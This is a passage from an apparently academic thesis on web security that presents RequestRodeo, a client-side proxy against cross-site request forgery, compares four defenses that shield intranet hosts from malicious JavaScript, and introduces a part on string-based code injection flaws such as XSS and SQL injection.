before the request is passed to the server.
To ensure compatibility with common web applications, our solution somewhat
relaxes the requirements of Definition 8.1: The proxy respects a cookie’s do-
main value. A cookie is therefore only discarded if its domain does not match
the domain of the referring page. Otherwise e.g. a cookie that was set by
login.example.org with the domain value “.example.org” would be deleted from
requests for order.example.org.
• HTTP authentication: Simply removing the authorization data from every request
that has not been classified as entitled is not sufficient. The proxy cannot distin-
guish between a request that was automatically supplied with an Authorization
header and a request, that reacts to a 401 status code. As the web browser, after
the user has entered his credentials, simply resends the HTTP request that has
triggered the 401 response, the resulting request is still not entitled because its
URL has not changed. Therefore, the proxy has to uniquely mark the request’s
URL before passing it on to the server. This way the proxy can identify single
requests reliably. Thus, it is able to determine if an Authorization header was
sent because of a “401 Unauthorized” message or if it was included in the message
automatically without user interaction.
Whenever the proxy receives a request, that was not classified as entitled and
contains an Authorization header, the following steps are executed (see figure
8.1):

1. The proxy sends a “302 temporary moved” response message. As target URL
of this response the proxy sets the original request’s URL with an added
unique token.
2. The client receives the “temporary moved” response and consequently re-
quests the URL that was provided by the response.
3. The URL token enables the proxy to identify the request. The proxy ig-
nores the Authorization header and immediately replies with a “401 Unau-
thorized” message, causing the client browser to prompt the user for user-
name and password. Furthermore, the proxy assigns the status entitled to
the URL/token combination.
4. After receiving the authentication information from the user, the client re-
sends the request with the freshly entered credentials.
5. As the request now has the status entitled, the proxy passes it on to the server.

An analog process has to be performed, whenever a not entitled request triggers a

“401 Unauthorized” response from the server. The details are left out for brevity.

119
8. Protection Against Cross-Site Request Forgery

Figure 8.1.: Intercepting implicit http authentication

Notification: Whenever the proxy removes browser-level authentication credentials,

an unobtrusive notification element is added to the HTTP response’s HTML content in
order to notify the user about the proxy’s action. In our prototype this is done via a
small floating sign.

8.4.2. Implementation as a browser extension

By implementing the solution within the web browser (opposed to a client-side proxy),
the main practical problem of our implementation, the reliable classification of the out-
going HTTP request, can be solved easily. Within the browser all information necessary
to establish whether a given HTTP request is indeed a non-interactive, cross-domain
request are readily accessible. Therefore, modifying the incoming HTTP bodies to add
additional GET parameters is not necessary anymore. In Section 9.4.2 we document
the implementation of a technical closely related countermeasure. Our concept can be
implemented analogous to the solution documented in the referenced section.
Such an implementation would also be able to detect and prevent CSRF attacks that
target client-side SSL authentication, as the SSL-protected tunnel ends within the web
browser.

8.5. Discussion
As described above our solution identifies HTTP requests that pose potential CSRF at-
tacks. For these requests the browser-level authentication processes are disabled. With

120
 8.5. Discussion

the exception of intercepting requests for intranet resources, the HTTP request them-
selves are not prevented, only the authentication information is removed. For this reason
our solution interferes as little as possible with the usage of web based applications.
For instance, if a web application provides additionally to the restricted resources
also pubic content, this public content can be referenced by outside webpages without
the interference of the proxy. The requests for these public items may initially contain
authentication credentials, which are subsequently removed by the proxy. But this
removal does not influence the server’s response, as no authentication was required in
the first place.
With the single exception of local attacks (see below), the in Section 5.1.1 described
CSRF attacks are prevented reliably, as all HTTP requests originating from an attacker’s
website or from outside the web browser (e.g. from an email application) are identified
as not being entitled

8.5.1. Limitations
We identified the following limitations in respect to our proposed solution:

”local” attacks: Our solution cannot protect from “local” CSRF attacks. With local
CSRF attacks we denote attacks that have their origin on the attacked web application.
If, for instance, an application allows its users to post images to one of the application’s
webpages, a malicious user may be able to use the image’s URL-attribute to launch a
CSRF attack. Our proxy would consider the image request as entitled as the image is
referenced by a webpage that belongs to the application.

False positives due to incorrect JavaScript parsing: Some webpages use JavaScript
to create parts of the page’s HTML code locally. As Javascript is a highly dynamic
language, our current implementation may fail in some cases to correctly classify all
included URLs as entitled.
As the proxy strips authentication credentials from such requests, the CSRF protec-
tion remains intact. However, depending on the significance of the request’s purpose,
malfunctions of the application may occur. This limitation is a purely technical one,
which could be solved with a source-to-source JavaScript translator such as Google’s
CAJA project [188].

Usability: We designed our solution to interfere as little as possible with a user’s brows-
ing. The most notably inconvenience that occurs by using the proxy is the absence of
auto login: Some web applications allow the setting of a long lived authentication cookie.
As long as such a cookie exists, the user is not required to authenticate. In almost every
case, the first request for a web application’s resource is not entitled, as it is caused either
by entering the URL manually, selecting a bookmark or via a web page that does not be-
long to the application’s domain. For this reason, the proxy removes the authentication
cookie from the request, thus preventing the automatic login process.

121
8. Protection Against Cross-Site Request Forgery

Client-side SSL: As mentioned above, our practical implementation is not able to

prevent CSRF attacks on client side SSL authentication. This is a weakness of the
implementation and not of the concept. Through integration of the countermeasure
within the web browser CSRF attacks on client-side SSL can be prevented (see Sec. 8.4.2).

8.5.2. Server-side protection

As our solution has been realized as an HTTP proxy, it can also be placed on the server-
side in front of the web server. An according solution has been proposed in a concurrent
work by [137]. Later this approach was implemented by [202]. Both approaches only
consider cookie-based CSRF attacks.

8.5.3. Future work

As noted above, our solution does not yet protect against attacks on client side SSL
authentication. An enhancement of our solution in this direction is therefore desirable.
Another future direction of our approach could be the integration of the protection
directly into the web browser. This step would make the process of augmenting the
HTML code unnecessary, as the web browser has internal means to decide if a request is
entitled. Furthermore, such an integration would also enable protection against attacks
on client side SSL authentication, as no interception of encrypted communication would
be necessary. As noted above, we decided to implement our solution at first in form of
a local web proxy to enable a broad usage with every available web browser.

8.6. Conclusion
In this chapter we presented RequestRodeo, a client side solution against CSRF attacks.
Our solution works as a local HTTP proxy on the user’s computer. RequestRodeo iden-
tifies HTTP requests that are suspicious to be CSRF attacks. This is done by marking
all incoming and outgoing URLs. Only requests for which the origin and the target
match, are allowed to carry authentication credentials that were added by automatic
mechanisms. From suspicious requests all authentication information is removed, thus
preventing the potential attack. By implementing the described countermeasures Re-
questRodeo protects users of web applications reliably against almost all CSRF attack
vectors that are currently known.
A further result of this chapter is the conclusion that current browser technology
does not provide suitable means for tracking and communicating authentication infor-
mation during an application’s usage session. All browser-level authentication tracking
mechanisms (see Sec. 1.2.1) are susceptible to CSRF attacks and all application-level
authentication tracking techniques are either susceptible to SID-leakage, in the case of
URL parameters, or pose problems during implementation and usage, in the case of
hidden form fields (see Sec. 1.2.2).

122
 8.6. Conclusion

Protection evaluation: To conclude this chapter, we briefly map the proposed counter-
measure’s protection capabilities against our threat classification (see Sec. 3.4). Usage
of our countermeasure results in full protection against the following threats:

• B.1.s.1 (Cross-Site Request Forgery attacks) and

• B.1.c.1 (leaking application state).

Furthermore, all timing-based confidentiality attacks which rely on the availability of

session-information (a subset of B.2.c.2) are prevented.

123
8. Protection Against Cross-Site Request Forgery

124
9. Protecting the Intranet Against JSDAs

9.1. Introduction
As documented in Chapter 6, a whole class of JSDAs exist that target resources lo-
cated within the intranet. We discuss several approaches towards protection against the
specified threats.
This chapter focuses on JSDAs that target intranet resources. Therefore, we frequently
have to differentiate between locations that are either within or outside the intranet. For
this reason, in the remainder of the chapter we will use the following naming conventions:

• Local IP-addresses: The specifier local is used in respect to the boundaries of

the intranet that a given web browser is part of. A local IP-address is an address
that is located inside the intranet. Such addresses are rarely accessible from the
outside.

• Local URL: If an URL references a resource that is hosted on a local IP-address,

we refer to is as local URL.

The respective counterparts external IP-address and external URL are defined accord-
ingly.

9.2. Methodology
Analogous to the methodology used in Chapters 7 and 8, we extracted a set of minimal,
technical capabilities on which the attacks rely. Our analysis resulted in a set consisting
of four individual technical requirements:

1. Availability of JavaScript: All discussed attacks rely on JavaScript to function.

2. Document-level SOP: Whenever a specific attack relies on obtaining information

through indirect communication techniques (see Sec. 1.3.2) it takes advantage of
the document-level (see Sec. 1.3.1 and 3.3) nature of the SOP: All elements con-
tained in one individual web page are assumed to have the same origin regardless
from which original source they have been obtained.

3. Creation of HTTP requests within the intranet’s boundaries: All discussed attacks
utilize HTTP requests which are created in the victimized browser. As the browser
is within the local intranet, these requests are consequently created within the local
net’s boundaries.

125
9. Protecting the Intranet Against JSDAs

4. Interaction of external web pages with local resources: As in our regarded scenario
the attacker-controlled resources are located outside the intranet’s boundaries (oth-
erwise he would not require the victim’s browser as an attacking device), the initial
malicious payload has necessarily to be received from an external source. Thus, at
least at one point during the attack, an interaction of an external web page with
a local resource has to occur.

Based on this set, we designed and evaluated four specific countermeasures, each
revoking one of these capabilities.

9.3. Defense strategies

In this section we discuss four possible strategies to mitigate the threats described in
Sections 6.1 and 6.2. At first we assess to which degree already existing technology can be
employed. Secondly we examine whether a refined version of the SOP could be applied to
protect against malicious JavaScript. The third technique shows how general client-side
CSRF protection mechanisms can be extended to guard intranet resources. The final
approach classifies network locations and deducts access rights on the network layer
based on this classification. For every presented mechanism, we assess the anticipated
protection and potential problems.

9.3.1. Turning off active client-side technologies

An immediate solution to counter the described attacks is to turn off active client-side
technologies in the web browser. To achieve the intended protection at least JavaScript,
Flash and Java Applets should be disabled. As turning off JavaScript completely breaks
the functionality of many modern websites, the usage of browser-tools that allow per-site
control of JavaScript like the NoScript extension [175] is advisable.

Protection
This solution protects effectively against active content that is hosted on untrusted web
sites. However as discussed in Section 3.2, if an XSS weakness exists on a web page that
is trusted by the user, he is still at risk. Compared to e.g. Buffer Overflows, XSS is a
vulnerability class that is often regarded to be marginal. This is the case especially in
respect to websites that do not provide “serious” services, as an XSS hole in such a site
has only a limited attack surface in respect to causing “real world“ damage. For this
reason, such web sites are frequently not audited thoroughly for XSS problems. Any
XSS hole can be employed to execute the attacks that are subject of this section.

Drawbacks
In addition to the limited protection, an adoption of this protection strategy will result
in significant obstacles in the user’s web browsing. The majority of modern websites re-
quire active client-side technologies to function properly. With the birth of the so-called

126
 9.3. Defense strategies

“Web 2.0” phenomenon this trend even increases. The outlined solution would require
a site-specific user-generated decision which client-side technologies should be permitted
whenever a user visits a website for the first time. For this reason the user will be con-
fronted with numerous and regularly occurring configuration dialogues. Furthermore, a
website’s requirements may change in the future. A site that does not employ JavaScript
today, might include mandatory scripts in the future. In the described protection sce-
nario such a change would only be noticeable due to the fact that the web application
silently stopped working correctly. The task to determine the reason for this loss of
functionality lies with the user.

9.3.2. Extending the SOP to single elements

As discussed in Sections 3.3, and 6.1, a crucial part of the described attacks is the fact
that the SOP applies on a document level. This allows a malicious JavaScript to explore
the intranet by including elements with local URLs into documents that have an external
origin. Therefore, a straight forward solution would be to close the identified loophole
by extending the SOP to the granularity of single objects:

Definition 9.1 (Element Level SOP) In respect to a given JavaScript an element

satisfies the Element Level SOP if the following conditions are met:
• The element has been obtained from the same location as the JavaScript.

• The document containing the element has the same origin as the JavaScript.
Only if these conditions are satisfied the JavaScript
• is allowed to access the element directly and

• is permitted to receive events, that have been triggered by the element.

Jackson et. al describe in [114] a similar approach. In their work they extend the SOP
towards the browser’s history and cache. By doing so, they are able to counter some of
the privacy attacks which have been documented in Section 5.2.1.

Protection
Applying the SOP on an element level would successfully counter attacks that aim
to portscan the intranet or fingerprint internal HTTP-services (see Sec. 6.1.2). These
attacks rely on the fact that events like onerror that are triggered by the inclusion
of local URLs can be received by attacker-provided JavaScript. As the origin of this
JavaScript and the included elements differs, the refined SOP would not be satisfied and
therefore the malicious JavaScript would not be able to obtain any information from the
inclusion attempt. More general, all attacks that rely on the BRA (see Sec. 3.3.3) would
not be successful.
However, refined and targeted fingerprinting attacks may still be feasible. Even if
elements of a different origin are not directly accessible any longer, side effects that

127
9. Protecting the Intranet Against JSDAs

may have been caused by these elements are. E.g., the inclusion of an image causes a
certain shift in the absolute positions of adjacent elements, which in turn could be used
to determine that the image was indeed loaded successfully.
Furthermore, the attacks described in Sections 6.1.3 and 6.1.4 would still be possible.
Such attacks consist of creating a state-changing request to well known URLs, which
would still be allowed by the refined policy.
Also the DNS-rebinding based attack described in Section 6.2 would not be prevented.
The basis of the attack is tricking the browser to believe that the malicious script and
the attacked intranet server share the same origin.
Nonetheless, the feasibility of the remaining attacks depends on detailed knowledge of
the intranet’s internal layout. Due to the fact that obtaining such knowledge is prevented
successfully by the outlined countermeasure, the protection can still be regarded as
sufficient, as long as the attacker has no other information leak at hand.

Drawbacks
The main disadvantage of this approach is its incompatibility to current practices of
many websites. Modern websites provide so-called web APIs that allow the inclusion of
their services into other web applications. Such services are for example offered to enable
the inclusion of external cartography material into webpages. Web APIs are frequently
implemented using remote JavaScripts that are included in the targeted webpage by a
script-tag. If a given browser starts to apply the SOP on an element level, such services
will stop working.
A further obstacle in a potential adoption of this protection approach is the anticipated
development costs, as an implementation would require profound changes in the internals
of the web browser.

9.3.3. Rerouting cross-site requests

As discussed above, all regarded attacks rely on cross-domain communication. Thus,
they may be regarded as a subtype of CSRF attacks: In the most cases CSRF attacks (see
Sec. 5.1.1) target authentication mechanisms that are executed by the web browser, e.g.,
by creating hidden HTTP requests that contain valid session cookies. As discussed in
Section 6.1.1, the firewall is used as a means of transparent browser-level authentication
which is subverted by the described attacks. Consequently, the attacks covered in this
chapter are in fact CSRF attacks that target an authentication mechanism which is
based on physical location.

Extending CSRF protection

In Chapter 8 we discussed RequestRodeo a client-side countermeasure against CSRF at-
tacks in general. This section extends the proposed concept towards protecting intranet
resources against CSRF attacks.
RequestRodeo’s protection mechanism is based on a classification of outgoing HTTP
requests (see Definition 8.1): A given HTTP request is classified to be entitled if and

128
 9.3. Defense strategies
Removal of implicit authentication: IP-based auth. Removal of implicit authentication: IP-based auth.

!
3
RequestRodeo RequestRodeo
1 1
Intranet webserver Intranet webserver
2
OK 2 DENY
Inner Firewall Inner Firewall
DMZ 3 Reflection server DMZ Reflection server

Outer Firewall Outer Firewall

Malicious site Malicious site

! Martin Johns, UH, FB Inf, SVS, 2006 34 ! Martin Johns, UH, FB Inf, SVS, 2006 35

A. legal request B. prohibited request

Figure 9.1.: Usage of a reflection service

only if it was initiated because of the interaction with a web page and if the URLs of
the originating page and the requested page satisfy the SOP. Only requests that were
identified to be entitled are permitted to carry browser-level authentication information.
According to this definition, all unentitled requests are “cross site requests” and therefore
suspicious to be part of a CSRF attack and should be treated with caution.
Cross-site requests are fairly common and an integral part of the hyperlink-nature
of the WWW. Therefore, a protection measure that requires the cancellation of such
requests is not an option. Instead, we proposed to remove all authentication information
from these requests to counter potential attacks. However, in the given case the requests
do not carry any authentication information. They are implicitly authenticated as their
origin is inside the boundaries that are defined by the firewall. For this reason other
measures have to be taken to protect local servers.

Reflection service
Our proposed solution introduces a reflection service that is positioned on the outer side
of the firewall (see Figure 9.1). All unentitled requests are routed through this server. If
such a request succeeds, we can be sure that the target of the request is reachable from
the outside. Such a target is therefore not specifically protected by the firewall and the
request is therefore permissible.
The method that is used to do the actual classification is out of scope of this Chapter.
In Chapter 8 we introduced a client-side proxy mechanism for this purpose, though
ultimately we believe such a classification should be done within the web browser.

Example: As depict in figure 9.1.A a web browser requests a webpage from a server
that is positioned outside the local intranet. In our scenario the request is unentitled. It
is therefore routed through the reflection service. As the reflection service can access the
server unhindered, the browser is allowed to pose the request and receives the webpage’s
data. The delivered webpage contains a malicious script that tries to request a resource

129
9. Protecting the Intranet Against JSDAs

from an intranet web server (see figure 9.1.B). As this is a cross domain request, it also
is unentitled and therefore routed through the reflection service as well. The reflection
service is not able to successfully request the resource, as the target of the request lies
inside the intranet. The reflection service therefore returns a warning message which is
displayed by the web browser.

Position of the service

It is generally undesirable to route internal web traffic unprotected through an outside
entity. Therefore, the reflection service should be positioned between the outer and an
inner firewall. This way the reflection service is treated as it is not part of the intranet
while still being protected by the outer firewall. Such configurations are usually used for
DMZ (demilitarized zone) hosts.

Protection
The attack methods described in Sections 6.1.2 to 6.1.4 rely on executing a JavaScript
that was obtained from a domain which is under (at least partial) control of the attacker.
In the course of the attack, the JavaScript creates HTTP requests that are targeted to
local resources. As the domain-value for local resources differs from the domain-value
of the website that contains the malicious script, all these requests are detected to be
cross-site request. For this reason, they are classified as unentiteld. Consequently, these
requests are routed through the reflection service and thus blocked by the firewall (see
Figure 9.1).
Therefore, the usage of a reflection service protects effectively against malicious JavaScript
that tries to either port-scan the intranet (see Sec. 6.1.2), fingerprint local servers (Sec-
tion 6.1.2) or exploit unpatched vulnerabilities by sending state changing requests (Sec-
tions 6.1.3 and 6.1.4).
The main problem with this approach is its incapability to protect against attacks
that exploit the breaking of the web browser’s DNS pinning feature (see Sec. 6.2). Such
attacks are based on tricking the browser to access local resources using an attacker pro-
vided domain-name (e.g., attacker.org). Because of this attack method, all malicious
requests exist within that domain and are not recognised to be suspicious. Thus, these
requests are not routed through the reflection service and can still execute the intended
attack. As long as web browsers are used which may be susceptible to DNS rebinding
attacks, the protection provided by this approach is not complete. However, executing
such an attack successfully requires detailed knowledge on the particular properties of the
attacked intranet. As obtaining knowledge about the intranet is successfully prevented
by the countermeasure, the feasibility of DNS rebinding based attacks is questionable.

Drawbacks
Setting up such a protection mechanism is comparatively complex. Two dedicated com-
ponents have to be introduced: The reflection service and an add-on to the web browser
that is responsible for classification and routing of the HTTP requests. Furthermore, a

130
 9.3. Defense strategies
4. Restricted local network (local origin) 4. Restricted local network (remote origin)

Intranet Server (10.10.10.10) Intranet Server (10.10.10.10)

Firewall Firewall

Webpage is tagged as “local” Webpage is tagged as “remote”

Malicious host Malicious host

! Martin Johns, UH, FB Inf, SVS, 2006 27 ! Martin Johns, UH, FB Inf, SVS, 2006 28

A. legal request B. prohibited request

Figure 9.2.: Restricting the local network

suitable network location for the reflection service has to exist. As small-scale and home
networks rarely contain a DMZ, the user either has the choice of creating one, which
requires certain amounts of networking knowledge, or to position the reflection service
outside the local network, which is objectionable.
The most appropriate deployment scenario for the proposed protection approach is as
follows: Many companies already require their employees to use an outbound proxy for
WWW-access. In such cases, the classification engine that is responsible for routing non-
trusted requests through the reflection service could be included in the existing central
proxy. This way all employees are transparently using the protection measure without
additional configuration effort.

9.3.4. Restricting the local network

As introduced in Section 9.1 we refer to addresses that are located within the intranet
as local. This notation implies a basic classification that divides network addresses into
either local or external locations. If the web browser could determine to which group the
origin and the target of a given request belong, it would be able to enforce a simple yet
effective protection policy:

Definition 9.2 (restricted local network) Hosts that are located inside a restricted
local network are only accessible by requests that have a local origin. Therefore, inside
such a network all HTTP requests with an external origin that target at a local resource
are forbidden.

With requests with an external origin we denote requests that were generated in the
execution context of a webpage that was received from an external host. Unlike the
proposed solution in Section 9.3.3 this classification does not take the domain-value of
the request’s origin or target into account. Only the actual IP-addresses are crucial for
a policy-based decision.

131
9. Protecting the Intranet Against JSDAs

Protection
All the attack methods specified in Sections 6.1 and 6.2 depend on the capability of
the malicious script to access local elements in the context of a webpage that is under
the control of the attacker: The portscanning attack uses elements with local URLs to
determine if a given host listens on the URL’s port, the fingerprinting and local CSRF
methods create local URLs based on prior application knowledge, breaking DNS-pinning
tries to let the browser believe that an attacker owned domain is mapped to a local IP-
address. Therefore, the attacker’s ability to successfully launch one of the specified
attacks depends on his capability to create local HTTP requests from within a webpage
under his control. By definition the attacker’s host is located outside the intranet.
Thus, the starting point of the attack is external. As the proposed countermeasure
cancels all requests from an external origin to local resources, the attacker is unable to
even bootstrap his attack.

Drawbacks
The configuration effort of the proposed solution grows linearly with the complexity of
the intranet. Simple networks that span over a single subnet or exclusively use private
IP-addresses can be entered fairly easy. However, fragmented networks, VPN setups, or
mixes of public and private address ranges may require extensive configuration work.
Furthermore, another potential obstacle emerges when deploying this protection ap-
proach to mobile devices like laptops or PDAs. Depending on the current location of
the device, the applicable configuration may differ. While a potential solution to this
problem might be auto-configuration based on the device’s current IP-address, overlap-
ping IP-ranges of different intranets can lead to ambiguities, which then consequently
may lead to holes in the protection.

9.4. Evaluation
9.4.1. Comparison of the proposed protection approaches
As the individual protection features and disadvantages of the proposed approaches have
already been discussed in the preceding sections, we concentrate in this section on aspects
that concern either potential protection, mobility or anticipated configuration effort (see
Table 9.1). The technique to selectively turn off active technologies (see Sec. 9.3.1) is
left out of this discussion, due to the approach’s inability to provide any protection in
the case of an exploited XSS vulnerability.

Protection
The only approach that protects against all presented attack vectors is introducing a
restricted local network, as this is the sole technique that counters effectively DNS re-
binding attacks. However, unlike the other attack methods that rely on inherent specifics
of HTTP/HTML, successfully executing DNS rebinding has to be regarded as a flaw in

132
 9.4. Evaluation

No JavaScr. Element SOP Rerout. CSR Restr. network

Prohibiting Exploring the Intranet (+)∗ (+)∗ + +
Prohibiting Fingerprinting Servers + + + +
Prohibiting IP-based CSRF - - + +
Resisting Anti-DNS Pinning + - - +
Mobile Clients + + - -
No Manual Configuration -∗∗ + - -
+: supported, -: not supported, ∗ : Protection limited to JS based attacks, ∗∗ : Per site configuration

Table 9.1.: Comparison of the proposed protection approaches

the browser implementation. Therefore, we anticipate this problem to be fixed by the

browser vendors eventually. If this problem is solved, the anticipated protection of the
other approaches may also be regarded to be sufficient.

Configuration effort & mobility

The element level SOP approach has the clear advantage not to require any location-
depended configuration. Therefore, the mobility of a device protected by this measure
is uninhibited. But as some sites’ functionality depends on external scripts, adopters of
this approach instead would have to maintain a whitelist of sites, for which document
level access to cross-domain content is permitted. As the technique to reroute cross-site
requests requires a dedicated reflection service, the provided protection exists only in
networks that are outfitted accordingly, thus hindering the mobility of this approach
significantly. Also a restricted local network depends on location specific configuration,
resulting in comparable restrictions. Furthermore, as discussed above, a restricted local
network might lead to extensive configuration overhead.

Conclusion
As long as DNS rebinding may still possible under certain conditions, an evaluation ends
in favor of the restricted local network approach. As soon as this browser flaw has been
removed, rerouting cross-site request appears to be a viable alternative, especially in
the context of large-sized companies with non-trivial network setups. Before an element
level SOP based solution is deployed on a large scale, the approach has to be examined
further for the potential existence of covert channel (see Sec. 9.3.2).

9.4.2. Implementation
Based on the discussion above, we chose to implement a software to enforce a restricted
local network, in order to evaluate feasibility and potential practical problems of this
approach [275].
We implemented the approach in form of an extension to the Firefox web browser.
While being mostly used for GUI enhancements and additional functions, the Firefox
extension mechanism in fact provides a powerful framework to alter almost every aspect
of the web browser. In our case, the extension’s functionality is based mainly on an

133
9. Protecting the Intranet Against JSDAs

XPCOM component which instantiates a nsIContentPolicy [212]. The nsIContentPolicy

interface defines a mechanism that was originally introduced to allow the development
of surf-restriction plug-ins, like parental control systems. It is therefore well suited for
our purpose.
By default our extension considers the localhost (127.0.0.1), the private address-ranges
(10.0.0.0/8, 192.168.0.0/16 and 172.16.0.0/12) and the link-local subnet (169.254.0.0/16)
to be local. Additionally, the extension can be configured manually to include or exclude
further subnets in the local-class.
Every outgoing HTTP request is intercepted by the extension. Before passing the
request to the network stack, the extension matches the IP-addresses of the request’s
origin and target against the specifications of the address-ranges that are included in
the local-class. If a given request has an external origin and a local target it is dropped
by the extension.
By creating a browser extension, we hope to encourage a wider usage of the protection
approach. This way every already installed Firefox browser can be outfitted with the
extension retroactively. Furthermore, in general a browser extension consists of only a
small number of small or medium sized files. Thus, an external audit of the software, as
it is often required by companies’ security policies, is feasible.

9.4.3. Practical evaluation

Our testing environment consisted of a PC running Ubuntu Linux version 6.04 which
was located inside a firewalled subnet employing the 192.168.1.0/24 private IP-address
range. Our testing machine ran an internal Apache webserver listening on port 80 of the
internal interface 127.0.0.1. Furthermore, in the same subnet an additional host existed
running a default installation of the Apache webserver also listening on port 80. The web
browser that was used to execute the tests was a Mozilla Firefox version 2.0.0.1. with
our extension installed. The extension itself was configured using the default options.
Besides internal testing scripts, we employed public available tools for the practical
evaluation of our implementation. To test the protection abilities against portscanning
and fingerprinting attacks, we used the JavaScript portscanner from SPI Dynamics that
is referenced in [160]. To evaluate the effectiveness against anti DNS-pinning attacks we
executed the online demonstration provided by [141] which tries to execute an attack
targeted at the address 127.0.0.1.
The results turned out as expected. The portscanning and fingerprinting attempts
were prevented successfully, as the firewall rejected the probing requests of the reflection
service. Also as expected, the anti DNS-pinning attack on the local web server was
prevented successfully. Furthermore, the extension was able to detect the attack, as it
correctly observed the change of the adversary’s domain (in this case 1170168987760.
jumperz.net) from being remote to local.

134
 Limitation:
! A local/remote classification is not in all cases possible
! Example:
" DMZ resources that grant different access rights based on
source IP address 9.5. Conclusion

Inner Firewall

DMZ
Outer Firewall

! Martin Johns, UH, FB Inf, SVS, 2006 29

Figure 9.3.: Potentially problematic network configuration

9.4.4. Limitations

During our tests we encountered a possible network setup that may yield problems with
our approach. A company’s web-services are usually served from within a DMZ using
public IP-addresses. Unfortunately, the “local”/”external”-classification of hosts located
in a DMZ is not a straight-forward task. As the hosts’ services are world-reachable
the respective IPs should be classified as “external” to allow cross-domain interaction
between these services and third party web applications. However, in many networks
the firewall setup allows connections that origin from within the company’s network
additional access rights to the servers positioned in the DMZ. For example, internal IPs
could be permitted to access the restricted FTP-port of the webserver to update the
server’s content (see Figure 9.3). Thus, in such setups a malicious JavaScript executed
within the intranet also possesses these extended network capabilities.

9.5. Conclusion
We showed that carefully crafted script code embedded in webpages is capable to bypass
the SOP and thus can access intranet resources. For this reason, simply relying on the
firewall to protect intranet HTTP server against unauthorized access is not sufficient.
As it is not always possible to counter such attacks at the server side, we introduced
and discussed four distinct client-side countermeasures. Based on this discussion, we
implemented a Firefox extension to enforce a restricted local network.
While our implementation reliably provides protection against the specified threats,
this protection comes with a price, manifesting itself in additional configuration overhead
and potential problems concerning mobile clients. Furthermore, our solution fixes a
problem that occurs because of fundamental flaws in the underlying concepts - HTTP
and the current JavaScript security model. Therefore future research in this area should
specifically target these shortcomings to provide the basis for a future web browser
generation that is not susceptible any longer to the attacks that have been regarded in
this chapter.

135
9. Protecting the Intranet Against JSDAs

Protection evaluation: To conclude this chapter, we map the proposed countermea-

sure’s protection capabilities against our threat classification (see Sec. 3.4). We limit
this mapping to the restricted local network countermeasure. All attacks that have been
discussed in respect to the targetIDs in the intranet context (D.1 - D.3) rely on commu-
nication flows from external pages to internal resources. As our protection mechanism
prohibits such flows all threats included in our classification are prevented.
Furthermore, by slightly extending our technique we also can address a subset of the
discussed attacks in the computer-context: By declaring the localhost and the computer’s
filesystem to be local resources, all threats which target C.1 (computer local HTTP
server), C.2 (Local ASCII based services), and C.3 (the local filesystem) are countered.

136
 Part III.

Architectures and Languages for

Practical Prevention of String-based
Code-Injection Vulnerabilities

137
Motivation
In Section 2.1 we discussed the existence of two distinct types of XSS flaws: XSS caused
by insecure programming (see Sec. 2.1.1) and XSS caused by insecure infrastructure (see
Sec. 2.1.2). In this part of the thesis we exclusively consider the former type – XSS
issues that occur due to coding mistakes made during application programming.
We explicitly concentrate on this type of XSS because of the following reasons:
• The XSS issues caused by insecure infrastructure as discussed in Section 2.1.2 are
rare. They always are based on individual flaws of single infrastructure elements,
such as web browsers or servers. Therefore, in most cases such an issue lies within
the responsibility of one single vendor and can be fixed centrally.
• Furthermore, the underlying problems of such issues are very heterogeneous. There-
fore, it is not likely that a generic strategy to prevent such issues exists.
• On the other hand, XSS caused by insecure programming is widespread and po-
tentially affects every single web application.
• Finally, as we will discuss in Chapter 10, code-level XSS is only one representative
of a larger class of vulnerabilities – the class of string-based code injection flaws.
Thus, general prevention mechanisms, which are positioned at the programming-
level of abstraction are not necessarily limited to preventing XSS but may also be
applicable for other members of the larger vulnerability class.
Based on an analysis of the foundations of string-based code injection flaws, this part
of the thesis will explore fundamental methods to solve the problem of this class of
vulnerabilities.

Outline
This part of the thesis is structured as follows: First in Chapter 10, we closely examine
the general class of string-based code injection flaws to which XSS belongs. For this pur-
pose, we discuss the method of string-based code assembly (Sec. 10.1) and deduct from
this discussion the fundamental mechanics of string-based code injection (Sec. 10.2).
Sections 10.3 and 10.4 introduce the results of our analysis regarding the examined
vulnerability class and provide fundamental definitions concerning the classification of
language elements into data and code. These essential definitions provide the underlying
reasoning for the proposed techniques of the following chapters.
In Chapter 11 we develop a method to identify code injection attacks on run-time.
For this purpose, we show how to approximate data and code separation during program
execution.
Finally, in Chapter 12 we propose a novel method for dynamic code assembly which
does not rely on string operations and provides strict separation between data and code.
We show how to extend a given language’s type system to conform to our method and
present a formal model of this type system extension. Furthermore, we demonstrate how
to practically design, implement and enforce our approach.

139
140
10. The Foundation of String-based Code
Injection Flaws
In this chapter we explore programming errors which in turn lead to string-based code
injection flaws. It is crucial to identify the underlying root causes of this class of security
issues in order to develop valid and principled countermeasures.
The chapter is structured as follows: First, we examine the common practice of string-
based code assembly (see Sec. 10.1). Then in Section 10.2, we define the term “string-
based code injection” and briefly discuss existing vulnerability sub-classes which match
this definition, such as XSS and SQL injection. In Section 10.3 we analyse the vulnera-
bility class further and identify one of its root causes: The confusion between data and
code during application development. Based on this observation, we propose in Section
10.4 a mapping of individual, syntactical language elements to the concepts data and
code. Such a mapping is essential for defensive concepts, which aim to prevent such
vulnerabilities through enforcing separation between data and code. For this purpose,
we propose a general, systematical method in Section 10.4.1 which allows developing a
data/code mapping for a given computer language. Furthermore, in Section 10.4.2 we
show how this method can be used, by applying it to three selected language classes.

10.1. String-based code assembly

Networked applications and especially web applications often employ a varying amount
of heterogeneous computer languages, such as programming (e.g., Java, PHP, C# ), query
(e.g., SQL or XPATH), or mark-up languages (e.g., XML or HTML). In the case of web
applications, some of these languages are interpreted on the server-side and some in the
user’s web browser (see Fig. 10.1 for an example scenario).
This observation leads us to the following definition:

Definition 10.1 (Native/foreign) For the remainder of this thesis we will use the
following naming convention:

• Native language: The language that was used to program the actual application
(e.g., Java).

• Foreign language: All other computer languages that are used within the appli-
cation.
In the context of this thesis, to be classified as a foreign language, it is sufficient
for a coding scheme to adhere to a predefined formal grammar.

141
 10. The Foundation of String-based Code Injection Flaws

SQL
HTML
Database JavaScript
PHP
CSS
XML

Web server Web browser

Filesystem

Figure 10.1.: Heterogeneous computer language usage in web applications

Thus, according to this definition, syntactic conventions such as a file-system’s path

specifier (“/dir/foo.txt”) qualify as foreign code.
The application’s runtime environment solely executes code written in the applica-
tion’s native language. Foreign code is either passed on to external interpreters, sent to
other hosts, or transmitted to the user’s web browser to be processed there. Server-side
foreign languages are mostly employed for data management. As an example: SQL may
be used for interaction with a database and XML for structured data storage in the
filesystem. Furthermore, for interacting with remote hosts XML-based web-service lan-
guages can be found regularly. Finally, on the client side a couple of foreign languages
are used to define and implement the application’s interface (e.g., HTML, JavaScript,
and CSS).

